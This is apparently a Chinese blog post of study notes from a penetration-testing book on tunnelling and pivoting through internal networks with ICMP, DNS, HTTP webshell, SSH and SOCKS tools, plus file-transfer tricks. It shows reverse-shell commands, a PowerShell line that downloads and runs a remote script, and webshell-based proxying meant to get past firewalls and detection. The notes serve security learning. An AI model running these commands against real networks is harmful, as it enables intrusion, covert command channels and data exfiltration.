本篇内容是内网安全攻防:渗透测试实战指南时的阅读笔记,笔记大部分内容均来自此书,另外一部分来源于一些公开文档和非公开文档,参考链接中均有注明。
简介
为什么需要隧道?各种边界设别、软/硬件防火墙或者入侵检测系统检测到异常链接就会对通信进行阻断,为了突破这些设备的防护,就需要隧道技术。
什么是隧道?严格来说,这是一类网络协议,一种数据包封装技术,将原始的I数据包包封装在另一个数据包中进行传输。
为什么隧道技术能够跨越边界设备或者入侵检测设备?回答这个问题之前需要得知另一个问题?
防火墙这类设备是依据什么来进行放行和拒绝的?下面我列举一些翻火墙的规则建立参数:
可以发现简单的防火墙规则使用四元组(源ip、源端口、目的IP、目的端口)就可以定义,复杂的规则可以限制不同的协议、标志位、状态等等。
隧道协议将其他协议的数据帧或包重新封装然后通过隧道发送,改变了数据包原有的特征,使得防护设备无法正确的放行和拒绝。
常见的隧道
基于数据包层次的不同,常见的隧道有这些:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发(这个其实不算)
- 应用层:SHH隧道、HTTP隧道、HTTPS隧道、DNS隧道……
探测连通性
探测连通性指的是机器能否上外网。
注:我不会非常细致的理解原理,我只是快速的记录下这些姿势。
1 | # Windows cmd |
1 | #Linux bash |
另外的一些技巧,某些场景中需要内网需要全部经过代理服务器才能出网,常见的判断方法:
1 | ps -ef |grep ip #查看是否存在和其他机器端口的链接 |
网络层隧道
ipv6 隧道
没有找到比较好实验在公网上演示该过程,加之觉得实战意义不大,这里我分享一下我所知道的一些内容,ipv6隧道这个技术我相信电信运营商之类的已经在用了(我的猫已经能获取到ipv6地址),为什么要这么做,因为现在的网络环境还没有全面Ipv4,当下的网络实际上混合着Ipv6和ipv4,为了支持ipv6,便有了ipv6隧道,不要想的太复杂,简单理解把ipv6报文封装到ipv4报文中,这样以支持所以的网络环境。
注:我这里说的ipv6隧道,实际上指的是 6to4,反过来,如果公网全面支持ipv6,局域网中ipv4,可以使用 4to6隧道。
几个重点:
- 现阶段的边界设备等无法识别ipv6 报文,而大部分操作系统是支持的
- 即使支持ipv6报文,也无法正确分析封装的数据包(ipv4数据包里裹着ipv6数据包)
ICMP隧道
实现的这个技术的一些工具:icmpsh、PingTunnel、icmptunnel、powershell icmp,当然这里不是全部
icmpsh
不建议使用,该工具最后一次更新到现在快10年了,并且传输速度确实感人。
1 | #服务端 |
1 | #客户端 |
实际的公网环境我也进行了测试,可惜我这里运营商给的不是公网ip,测试失败。
pingtunnel
这玩意一开始我没整明白,后来发现@九世搞过这个,按他的实验,大致明白了这个工具。
temserver 配置
1 | #配置server 端 |
建立两个Listener
注意host部分,在目标机器上执行的payload是 icmp Tunnel 生成的payload。
目标机器
1 | pingtunnel.exe -type client -l :81 -s 10.10.10.128 -t 10.10.10.128:8080 -tcp 1 -key 123 -nolog 1 -noprint 1 |
执行payload(我这里用的powershell 远程加载),机器上线,注意上线机器是由 listener http 上线的,extemal 是的ip是本机。
查看通信过程的流量
到这里,可以看出该工具的一些作用了,在本地侦听一个端口,所有进入该端口的流量通过Tunnel重新封装,再从Tunnel 出来解封装,简单的看就是端口转发+ICMP Tunnel。
1 | #另外还有一些转发选项,这里就不演示了 |
Ptunnel-ng
Ptunnel-ng的前身是Ptunnel,Ptunnel最后一次更新是2011年了,但是这个工具有一个比较坑的点,需要Winpacp的支持(需要wpcap.dll),那么问题来了,遇到的环境有几个是安装了wincap库的呢?
先介绍下Ptunnel如何使用。
1 | #我这里不介绍编译安装的方法了,笔者使用的为kali ,仓库中提供了二进制包,直接安装即可 |
1 | #类似 Ptunnel-ng也能在kali 仓库中找到, |
这部分暂且搁置,后续再补充吧
- PingTunnel
- icmptunnel
- powershell icmp
传输层隧道技术
参考:
这一小节的是标题是传输层隧道技术,但是笔者认为,它实际上和隧道技术不同,这种技术我更愿意称他为端口转发,根据转发的不同目标(本地和远程)和不同协议(TCP和UDP)可以组合以下四种情况。
- 本地端口转发(TCP)
- 本地端口转发(UDP)
- 远程端口转发(TCP)
- 远程端口转发(UDP)
正好说到这里,也区分常说的正向代理和反向代理,我之前对这两个概念一直迷惑,说的不对的师傅请留言。
先说大白话:两者区别在于代理的目标不同,正向代理代理了客户端,反向代理代理了服务器。
正向代理和反向代理都是指的是一种实现效果,没有说如何实现这个效果,在一些文章中会出现正向端口转发和反向端口转发(包括下文),正向端口转发可理解为用端口转发实现的正向代理,反向端口转发可理解为用端口转发实现的反向代理。
说起来感觉像绕口令,我觉两个安全从业者常见的例子:
- 生活中访问的部分网页,访问到的并不是真实的WEB服务器,而是CDN服务商的服务器,该服务器代替了原本的WEB服务器提供web服务,这是反向代理。
- 企业为了网络安全,边界机器只允许某台机器流量出,于是内网所有的机器配置了该台机器为代理,该机器代理了内网全部流量和请求的服务端通信,这是正向代理(没错,我说的就是堡垒机之类的设备)。
而在实际的测试环境中,一般会遇到几种情况:
- 目标在网络边界,内外网都可以访问。
- 目标在内网,目标可访问外网,防火墙限制外网直接访问内部敏感端口
- 目标在内网,不可访问外网,可访问边界主机,防火墙限制外网直接访问内部敏感端口
第一种情况随便折腾,这里场景应该极少出现,我表示没遇到过,第二种情况用反向端口转发或者webshell端口转发或第三方自建内网穿透技术,第三种需要反向端口转发+正向端口转发才能突破。
这段是【ATT&CK】端口转发技术大全(上)中的一段,我建议每个搞内网的人都去读这两篇文章。
简单介绍下这个环境,内网是192.168.3.0/24网段,网关指向防火墙,防火墙外代表着外网,实际上VPS也是一台Kali linux 主机,为了默认真实的环境。
注:后面就看效果就好,大家理解到我的意思就好
lcx端口转发
参考:
这个工具很老了,非常经典,网上也有源码,需要免杀的话自行修改,全称“Socket data transport tool”。Windows下有lcx.exe
,Linux下叫portmap
。
1 | [Usage of Packet Transmit:] |
注:使用lcx远程端口转发(反向端口转发)实现的反向代理效果。
1 | lcx.exe -slave 10.10.10.131 3389 192.168.3.144 3389 |
注:使用lcs远程端口转发(正向端口转发)实现的正向代理
正向转发的这种场景一般在边界机器上比较合适,可以看到,我这里的转发其实没什么意义。
同样可以配合msf、cobalt strike 之类的突破内网封锁上线,下图演示了利用lcx端口转发实现的反向shell,注意生成payload 的lhost参数。
ncat
这个工具用途很多,文件传输、反弹shell、探测端口是否开放、端口转发……,这个名字比较让人误会,netcat在大多数的Linux发行版上默认就有,不过版本上实现不一样,比如有的带-e
选项,有的不带,比较容易区分的是是netcat 和ncat,在kali下使用的nc实际上是nmap项目中重写的netcat。
1 | #先说端口转发,这个工具实现的端口转发有点复杂,需要结合管道命令来使用 |
常见的用法是建立正向shell和反向shell
1 | #目标机器 |
注:虚拟机中没有边界机器,故这里用宿主机演示。
反向shell
1 | #VPS 上 |
文件传输(本质上是对重定向的调用)
1 | nc -lp port > file |
顺便安利一个reverse_shell生成的php脚本,包含的姿势非常全了,很小巧的工具。
Powercat
从名字上大致就能猜出这个工具的作用,Netcat 的powershell版本。
1 | Import-Module .\powercat.ps1 #需执行策略允许 |
1 | #正向shell |
1 | #反向shell |
1 | powercat -l -p port -of file.txt -v #输出文件 |
参考:
PowerShell 技能连载 - 用 Base64 编解码文本
Powercat DNS
参考:dns隧道通信初探之dnscat2——klion 密圈文件
1 | #这里的主要难点在于dnscat2服务器的搭建,这里使用两种方式,一种正常安装,另外一种使用docker安装,推荐docker,docker避免安装了很多的库 |
如果在公网上搭建,那么你需要配置域名对应的记录,这里有两种做法:
直接 域名配置一个A记录指向 dnscat2 s erver ,实验环境,可修改hosts文件做到实验效果
1
2wuhash.com 10.10.10.128 #A记录
#dnscat2 请求的域名为 wuhash.com域名配置两条记录,A记录指向 dnscat2 server ,NS记录CNAME到A记录
1
2
3
4
5dns.wuhash.com 10.10.10.128 #A记录
ns.wuhash.com dns.wuhash.com #CNAME记录
#注意如果使用这种方式,请求的域名为ns.wuhash.com,所有ns.wuhash.com子域下的DNS请求都将发送至10.10.10.128
#推荐后者,解析结果都一样,看个人选择,推荐后者
#两者的区别在于使用不同的记录进行通信
反向shell
powercat 利用dnscat2隧道反弹shell。
端口转发
1 | #直接写命令,环境不同,这里就不演示了,和nc差不多 |
遇到的问题
DockerFile
官方默认的DockerFile有问题,我修改了DockerFile,使其变得可用,已经请求合并到dnscat2项目主分支。
一开始没有意识到是缺少环境依赖,后来在师傅们的提点下(在此感谢各位师傅),指出该基础镜像可能有问题,翻文档修改了DockerFile,终于使容器成功构建运行,成品是这样:
1 | FROM ruby:2.5.1 |
可以看到其实没做什么,只是将安装依赖库的步骤写到文件中。
几个小Tips:
镜像源的设置:默认的镜像debian源为官方源,这里设置成了科大源,如果有pip源等类似软件源的记得修改
RUN命令的安排:尽量将多个命令 && 在同一个RUN,减少镜像层
Dockerfile的作用是构建镜像的文本文件中,每执行一次指令都会在Docker上新建一层,构建的容器重新打包为镜像,如果指令过程过多,构建容器和打包镜像的时间会非常长,正确的姿势为减少无意义的指令,尽量将多个命令&&在同一个RUN中。
端口冲突
1 | #systemd-resolve服务占用本地的53端口 |
自解析
这里和PowercatDNS,如前面所说我使用了dnsmasq自解析,需要修改resolv.conf文件,但是这个文件很容易被各种进程改写,这里说下我的解决办法。
1 | #修改 resolv.conf 文件之后添加I属性,一般我用第一种 |
参考:dnsmasq
dnscat2的题外话
参考:Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell
对于DNS协议用的最多的应该是Cobalt Strike 中的DNS ,但是Cobalt Strike的的DNS隧道实现可以说是粗糙,默认60秒发送A记录解析请求,报告上线,上传数据,使用TXT记录下载指令和payload等,那么dnscat2上是否情况会变好呢?参考链接中也说道,dnscat2通讯的容错和纠正机制不完善,很大几率运行不稳定,说大白话,就是需要改,改成你喜欢的样子,该的稳定点。并且直接用很容易被检测,大量高频的DNS请求明显流量不正常,由于DNS协议本身的局限性,注定了这种隧道速度不会很快(有些场景也够用了)。
对于高频的请求,实际上dncat2提供的delay
控制响应延迟用以逃避防护,详细的参数这里不再赘述。
应用层隧道技术
SSH协议
这里只介绍端口转发部分,不会介绍详细的如何做,我只能说这个工具非常灵活,包括不限于以下这些:
参考:klion密圈案例
- 利用远程端口转发本地上线
- 边界机器机器本地端口转发突破内网机器不出网
- 内网机器SSH隧道至边界机器反弹shell上线
- 边界机器利用利用SSH隧道构建sock5代理进目标内网突破对方限制
- ……
总之,思维不要固定,核心的东西就这么下面3条命令,组合使用能做出很棒的效果。
1 | ssh -L <local port>:<remote host>:<remote port> <SSH hostname> |
补充,如果想要UDP端口,需配合另外的工具,将UDP端口转发至TCP端口,才能实现。
HTTP协议
参考:
开源武器库-文件
通向彼岸 之内网代理转发 [ http隧道篇 Reduh ]
ReDuh
ReDuh项目SensePost在BlackHat USA 2008演讲中发布的,简单的理解为把HTTP请求构建为转化为TCP回路,工具确实很老了,基本用不到,最后一次更新是8年前,由于这个项目才有了后面的reGeorg,reGeorg之后又有了Neo-reGeorg。
脚本确实太老了,用了php环境和aspx环境都发现无法测试出效果,具体的实验过程看Micro8和klion的文章(上面参考链接)。
reGeorg
1 | sudo apt instal python-pip |
脚本上传到目标服务器,使用reGeorgSocksProxy.py脚本监听本地的1080端口,使用proxychains将流量发送到1080端口,在通过HTTP隧道传输到目标机器上。
可以看到目标翻火墙未放行远程桌面端口,使用HTTP隧道之后,仍然成功的开启远程桌面,可以看到当前的远程登录的ip是本机的ip。
Neo-reGeorg
Neo-reGeorg和reGeorg的使用极为相似,不过Neo-reGeorg代理很多有用的特性,如使用密码验证构建代理、传输内容经过Base64加密、请求响应定制……等等。
1 | python3 neoreg.py generate -k password |
查看当前登录的用户和使用的ip
参考:[[通向彼岸 之内网代理转发 [ http隧道篇 Tunna ]]](https://klionsec.github.io/2016/09/13/tunna-http-tunnel/)
这个使用起来明显没有上面的灵活,socks还是好用一些,看到Tunna有支持socks,没明白怎么用的,后续补充。
1 | python proxy.py -u "http://192.168.3.132/conn.aspx" -l 1080 -r 3389 -v |
遇到的坑
我搭建环境用的WAMP搭建的测试环境,然后发现Apache服务一直无法成功启动,80端口被暂用,排查后发现这个服务和另外两个程序有关,IIS服务和sql server reporting services服务(实际上停止IIS的一系列服务就好)。
使用
netsh http show servicestate
查看HTTP服务暂用的进程,我这里是的进程是System
,进程pid为 4笔者使用的SQL Server为2014,打开SQL配置管理器,
SQLServerManager10\2.msc
,停止Sql Server Reporting Service
。服务器管理器(Windoes Server)中停止IIS的相关服务,全部停止,问题解决。
参考:
[[通向彼岸 之内网代理转发 [ http隧道篇 abptts ]]](https://klionsec.github.io/2016/09/15/abptts-http-tunnel/)
自出2016 Blackhat大会推出了之后就没怎么更新了。
1 | pip install pycrypto |
注:没生成一次webshell的内容是不同的,只能用对应的配置文件链接对应的webshell进行端口转发。
产生的流量编码在HTTP请求中,流量确实无法被解密了,但是特征也非常明显,另外链接的速度非常难受,我本地进行远程桌面都卡顿,但仍然是一款不错的工具。
参考:
使用Chisel 进行端口映射 - Xax007 Security Blog
先踩坑,还是用的docker,这是一款golang编写的 HTTP隧道应用(自然,跨平台,最终的应用2-4兆,某种意义上来说文件大小还可以,和C自然不能比),下面是我修改的DockerFile,主要修改部分是将源替换为镜像源和设置了代理,
1 | FROM golang:alpine AS build-env |
1 | docker run --rm -it -p 1080:1080 -p 1234:1234 jpillora/chisel server -p 1080 --reverse |
虽然我容器成功运行起来了,但是这种使用体验确实不是很好,还是老实的用二进制包方便,并且笔者在测试虚拟机NAT环境时并没有成功转发,所以这里的两台机器都是同一网段,也就说,应用场景需要客户端和服务端完全互通(使用姿势不对的话请指正)。
如果想使用socks进行动态转发也很方便。
1 | sudo ./chisel server -p port --socks5 #公网机器server 端 |
上面是公网机器作为socks代理,如果想代理到目标内网呢?即反向socks,参考链接中给出了这种姿势,命令比较多,实现起来有点不便,但这个工具最好用的部分也就是这部分了
1 | #不是很推荐,但是有总比没有好,某些环境写会很好用 |
小结
本来这小节内容应该为HTTP和HTTPS的,但是确实没发现有HTTPS隧道的应用,所以标题还是写成HTTP协议,这些HTTP隧道大多数都是以webshell的形式作为服务端,都是开源项目,加入查杀套餐是一定的,所以东西拿来不能直接用,需要改造(别问我,我不会改。。)。
DNS协议
前面Powercat DNS部分其实已经用到了DNS协议,任然是将其他协议封装到DNS协议中,如何发起DNS请求,对域名进行解析即可,一般默认的查询记录是A记录,A记录为一个Ipv4地址,另外在DNS隧道中另一个关键的记录为NS记录,该记录指向的为域名解析服务器。
注:一般设置的是子域的NS记录,域本身的NS未修改,当然,修改整个域的NS也可以。
为了查看配置结果,常用以下两个工具查询DNS记录以验证是否配置成功:
1 | #如果不指定DNS服务器,将使用默认的DNS服务器, |
dnscat2
参考:
Powershell+Dnscat2实现DNS隐蔽隧道反弹Shell
DNS 隧道通信初探之 dnscat2 [跨平台 RAT]—密圈文件
本来该写在这里的,Powercat DNS 部分感觉已经将这个工具写的差不多了,这里作为补充吧。
如果想在公网测试,请配置好对应的DNS记录,笔者域名解析配置如下:
测试DNS服务器是否正确接收的DNS请求:
为什么收到了3次请求,因为dig默认的DNS请求重试次数就是3次
另外,再一次修改了Dockerfile,修改后的Dockerfile构建的镜像大小仅为200兆,主要的修改部分为修改了基础镜像为alpine,这里贴出DockerFile。
1 | sed -i 's/rubygems.org/gems.ruby-china.com/' Gemfile |
1 | FROM ruby:2.5.1-alpine |
前面演示的dnscat2客户端用的是powercat,有一个名为dnscat2-powershell的项目,实现了powershell版本的dnscat2客户端。
1 | IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1') |
dnscat2-powershell的基本使用方法:
1 | docker run -p 53:53/udp -it -v "$PWD":/usr/src/myapp -w /usr/src/myapp --rm dnscat2 ruby ./dnscat2.rb dns.wu****.** --no-cache -c password |
如果一切配置正确,那么就能收到Session ,dnscat2的Console自带了一些指令,这里列举下,不知道的help
下就好:
1 | #dnscat2中由一堆Window组成 |
服务端暂且介绍到此,dnscat2项目中Client也提供了Linux下、Windows下的客户端,编译好即可:
Linux下的dnscat2_client,更多的Client参数这里就不在赘述:
遇到的问题
- 我想自己编译dnscat2客户端的Windows二进制包,如何编译?
1 | make -f Makefile.win |
Windows下能够编译么?笔者使用的VS 2019,拉取代码之后加载client/win32/dnscat2.vcproj
的解决方案,生成即可,加载的默认编译模式是Debug,手动修改为Release可显著降低编译出的二进制文件大小。
有一点比较疑惑,这几种方式编译出来的Windows 二进制文件大小有很大差别,官方项目编译出的大小仅为139KB,笔者使用的VS2019大小为186KB,使用的PentestBox中的编译器编译出的大小为464KB,在Kali Linu编译的大小为998k。
有知道的师傅也麻烦留言告诉我。。
- 可能这个问题只有我会遇到,53端口占用的问题:
还记得之前我在NetworkManager.conf
里配置了这么一句dns=dnsmasq
,该参数会将dnsmasq作为本地DNS服务器运行,并且更新resolv.conf
文件指向本地。
1 | sudo systemctl stop NetworkManager.service #先停止NetworkManager服务 |
iodine
参考:
截止笔者写下该笔记的时候,该项目的最后一次提交是2019年8月,ubuntu 仓库中的最后一个版本是0.7.0,实际上该项目后面也经过一些小改动。
1 | sudo apt install iodine #直接仓库安装 |
在开始使用之前,还是那句话,DNS记录先配置好,配置的过程请参考dnscat的配置,或者阅读Readme。
这种模式和GRE隧道模式很相似,都是建立虚拟网卡进行通信,比较尴尬的一点是,由于是建立虚拟网卡,所以需要目标的root权限。
1 | sudo iodined -f -c -P password 10.0.0.1 dns.wu****.** #Server 段 |
其实iodine的用途也就到这里了,可以看出功能很有限,这个工具还可以怎么用?配合其他工具使用。
1 | #比如从创建SSH隧道创建代理将流量代理到目标内网中,但是从流量特征上走的是DNS协议 |
小结:这个工具就介绍到这里,工具确实有点简陋,不过某些场景下这种工具也很好用。
Socks协议
参考:
这个我觉得应该是在测试过程中用的最广的协议,按OSI七层模型,该协议属于会话层,位于表示层和传输层之间,前段时间看到了LDAP隧道,也是属于会话层,这个层数有什么意义,比较重要的一点是它能代理会话层的之上的所有协议,在HTTP协议实现的隧道技术时,有一点我没有提到,HTTP只能代理TCP,这是它的协议底层所决定,HTTP协议建立在TCP协议之上。
这个协议最初由David Koblas开发,而后由NEC的Ying-Da Lee将其扩展到SOCKS4。最新协议是SOCKS5,与前一版本相比,增加支持UDP、验证,以及IPv6。——wiki
相关的RFC 文档是rfc1928、RFC 1929、RFC 1961 、RFC 1961 ,目前主要的用的socks协议有几个版本:socks4、socks4a、socks5。
详细的协议理论笔者确实没去看,只关注了一个细节,socks4a是socks4协议扩展,它多了一个效果就是代理解析,不使用本地的DNS解析解析结果,而是代理服务端DNS进行解析的结果,另外,有一些场景使用的是socks5,但是又不想使用代理DNS解析的结果,proxychains客户端proxychains.conf
配置文件中可以禁用代理该DNS代理,其他的socks客户端同理可配置解析。
socks客户端
笔者频繁使用的客户端有以下几个:
proxychains
-
proxychains的一个改进版
-
Kali默认的版本是proxychains是3.x,项目已经更新到了4.3了
注:不仅支持Socks4、socks协议,另外支持HTTP协议。
这两个项目都是貌似编译出的二进制文件都是proxychains4
,如果你想使用proxychains以前的版本,仓库中也能直接安装,分别使用sudo apt install proxychains
和sudo apt install proxychains4
安装。
参考:
1 | git clone https://github.com/rofl0r/proxychains-ng #看个人设置,默认的也可以 |
proxychains-ng另外有多种模式:
strict_chain:严格模式,每个链接都通过链接代理完成,按列表顺序链接,所有代理需要在线(默认)
dynamic_chain:动态模式,按照列表顺序链接,至少一个代理可用,跳过不能用的代理
random_chain:随机模式,每个链接都随机通过列表中的代理完成,
round_robin_chain:轮询模式,按列表顺序链接,至少一个代理可用,跳过不可用的代理,如果轮询到了列表末尾,从列表开始从头再来。
原来有一个想法就是采集一批代理,使用proxychains-ng的random_chain模式随机使用代理
由于笔者常使用的shell是zsh,在oh-my-zsh中有一个插件提供了一个快键键自动添加前缀使用代理。
1 | git clone https://github.com/six-ddc/zsh-proxychains-ng.git ~/.oh-my-zsh/custom/plugins/zsh-proxychains-ng |
Windows下一款很好用的socks代理客户端,图形界面,看GUi就知道怎么用了,唯一要说的一个和Windows系统特性有关:进程的权限继承,这个特性在lsh4ck的文章说过,具体来说就是本地hash注入模拟用户起一个SocksCap进程,然后在SocksCap代理ssms.exe,ssms.exe会继承模拟的用户权限,因为ssms默认支持Windows登录验证,这个技巧在某些场景中很有用。
和SocksCap64相似,功能上我不在赘述,多说一点,一些软件的全局代理并不真正的代理,它只应用本身支持Socks5代理,若应用本身不支持,则不走代理,Proxifier和前面SocksCap64无论应用是否支持,都通过代理进行,你需要在测试中明白这点。
socks服务端
其实这个才是这一部分的重点,标题有点不太合适,实际上也有一些工具也自带了Socks客户端的角色。
参考:
笔者使用sSocks是国人54Pany从原项目ssocks修改源码的项目:
1 | sudo chmod u+x configure #默认没给权限 |
Windows下的客户端直接在VS下使用nmake -f Makefile.nmake
,bin目录下已经输出了编译好的Windows的二进制文件。
主要的几个可执行文件介绍下功能:
- nsocks:类似于socks5的netcat,用于测试socks服务器
- ssocksd:socks5的服务端,
- rssocks:反向socks的服务端
- rcsocks:反向socks5的客户端
- ssocks:一个socks5中继,在“localhost”接口上运行一个socks服务器,并将所有数据中继到参数中指定的socks5服务器
另外主要还有两个主要的配置文件:
- ssocksd.auth:socks链接的认证文件,我的位置是在“/usr/local/etc/ssocksd.conf”,如果在目标上使用,建议修改文件名
- ssocksd.conf :socks服务的配置文件,我的位置是在“/usr/local/etc/ssocksd.auth”
正向代理的用法:
1 | ssocksd.exe -p 1080 -d |
反向代理的用法
1 | rssocks.exe -s 10.10.10.128:88 -b #Client |
中继代理的用法
1 | ssocksd.exe -p 80 -a auth.txt -d #内网机器上,这里是192.168.3.75 |
小结一下,这三种用法对应前面提到了测试过程中对应的三种场景,相信你看到这里,应该知道如何突破内网限制了。
参考:
通过纯 ‘节点地图’ 的形式轻松实现更复杂的内网穿透 termite——文件
Termite项目是Earthworm的改进版本,这个工具是一个国人师傅@rootkiter写的,提供了多平台客户端,闭源,目前已经不再更新,并且提供了yara规则进行检测,当然笔者这里也不会说其他的工具没有特征,只是大家请酌情使用。
1 | #下载的文件主要两个目录 |
admin和agent的主要参数都在上面了,理解下这个工具的操作逻辑就好,下面列出了主要使用的这几种场景:
1 | #适用于边界机器有公网ip的场景 |
构建了一系列的网络有什么作用,重点关注下socks功能:
1 | goto id #机器的id |
小结:这个工具我是现在才知道,说实话,确实佩服作者@rootkiter,可惜没有继续开发了,在我看来,这东西该有的功能都有,特别是这个网络地图,是不是有点Cobalt Strike的拓扑感觉,可以作为一个小型RAT,上传文件、下载文件、反弹shell、端口转发、反向socks、隧道构建……,隧道构建可以说是工具的核心功能了,这里叨叨了一堆,总之这个工具在这一系列隧道工具思路很棒,但是工具稳定性等还需要改进,已经不更新,只能寻找替代品或者改进。
这里在扯一些前辈们的经验之谈:尽量避免socks到目标中进行扫描,精度和速度都非常依赖你的网络环境,尽量使用机器自带的工具进行扫描。
文件的传输
文件压缩
Winrar
如果想复现的话不要下载代理中文版本,中文版本无参数说明,笔者是在官网下载的英文版本,在安装目录下开启命令行使用rar.exe
即可,详细的参数这里不再说明。
1 | rar.exe a -k -r -s -m5 D:\Test.rar "C:\Program Files\WinRAR" #压缩文件 |
如果目标机器没有安装,可以尝试从已安装的机器拷贝到目标机器上。
7zip
其实这是笔者日常用的压缩软件,挺好用的,日后使用推荐。
1 | 7z.exe a -r C:\test.7z C:\7zip\ #压缩文件 |
makecab
参考:
这个笔者个人比较推荐,这个命令Windows自带。
1 | makecab text.doc text.zip |
上传和下载
Bistadmin
参考:
1 | bitsadmin /transfer down /download /priority normal "http://192.168.1.115/robots.txt" E:\PDF\robots.txt |
Debug /Powershell
参考:
主要作用是将二进制程序转化为ASCII hex文件,然后使用内置的命令将其恢复。主要有两种模式还原:
- Debug.exe(-b)还原,注意:x64的机器不带debug
- powershell.exe(-p)还原,x86和x64都支持,适用于Win7/Windows Server 2008R2以后的系统
1 | exe2hex -x /usr/share/windows-resources/binaries/nc.exe -p /home/kali/nc.txt -v |
如果你拥有一个shell,有无法上传文件,那么可以考虑这种方式,虽然效率低,适用于小文件(大概200KB左右),太大的文件需要输入的hex字符太多了。
FTP
1 | echo open 192.168.1.115 21> ftp.txt |
- VBS
- certutil
- vbs
- 略
总结
至此,对这一章的学习到这里暂告一段落,大概两周都在家里摸鱼看这一章,期间遇到各种编译、Docker等问题,有些问题我独立解决,有些请教各位师傅,在这里也感谢各位师傅,但都一一解决了,有些工具虽然很老了,但是它的思路足够优秀,值得学习。
写这个笔记耗费了我大量的时间,如果真的有读到这里的师傅,感谢你的阅读。